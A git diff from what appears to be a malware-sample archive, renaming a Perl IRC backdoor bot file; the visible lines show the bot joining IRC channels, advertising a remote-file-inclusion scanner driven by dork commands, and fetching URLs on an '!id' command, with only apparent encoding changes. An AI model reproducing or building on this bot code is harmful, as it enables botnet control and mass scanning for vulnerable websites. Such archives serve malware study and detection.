diff --git a/Perl/Backdoor.Perl.IRCBot.n b/Perl/Backdoor.Perl.IRCBot.Scanner.m
similarity index 97%
rename from Perl/Backdoor.Perl.IRCBot.n
rename to Perl/Backdoor.Perl.IRCBot.Scanner.m
index 73f1021812d958e95b7c50f65c708ad8d94b99d9..71233595c1f8beddd559440f19be1a429d6ea7bb 100644
--- a/Perl/Backdoor.Perl.IRCBot.n
+++ b/Perl/Backdoor.Perl.IRCBot.Scanner.m
@@ -40,13 +40,13 @@ print $dsp "USER infira 8 *  : infira \r\n";
 print $dsp "JOIN $channel\r\n";
 print $dsp "PRIVMSG $channel :9,1Priv8 Scaner Pornit!! \r\n";
 print $dsp "PRIVMSG $channel :8,1Comanda Scan:9,1 !scan bug dork 0,1& 4,1!google bug dork \r\n";
-print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
+print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
 sleep(1);
 print $dsp "NICK $nickname\r\n";
 print $dsp "USER SeaNet *  : SeaNet \r\n";
 print $dsp "JOIN $chanres\r\n";
 print $dsp "PRIVMSG $chanres :9,1Aici vin rezultatele :) \r\n";
-print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
+print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
 
 while ( $line = <$dsp> ) {
 
@@ -123,7 +123,7 @@ while ( $line = <$dsp> ) {
           }
 
     if ( $line =~ /PRIVMSG $channel :!id/ )
-    {    ## ©© Script made by kangkung . Don't remove this comment !
+    {    ## ©© Script made by kangkung . Don't remove this comment !
         my $testid = $id;
         my $req    = HTTP::Request->new( GET => $testid );
         my $ua     = LWP::UserAgent->new();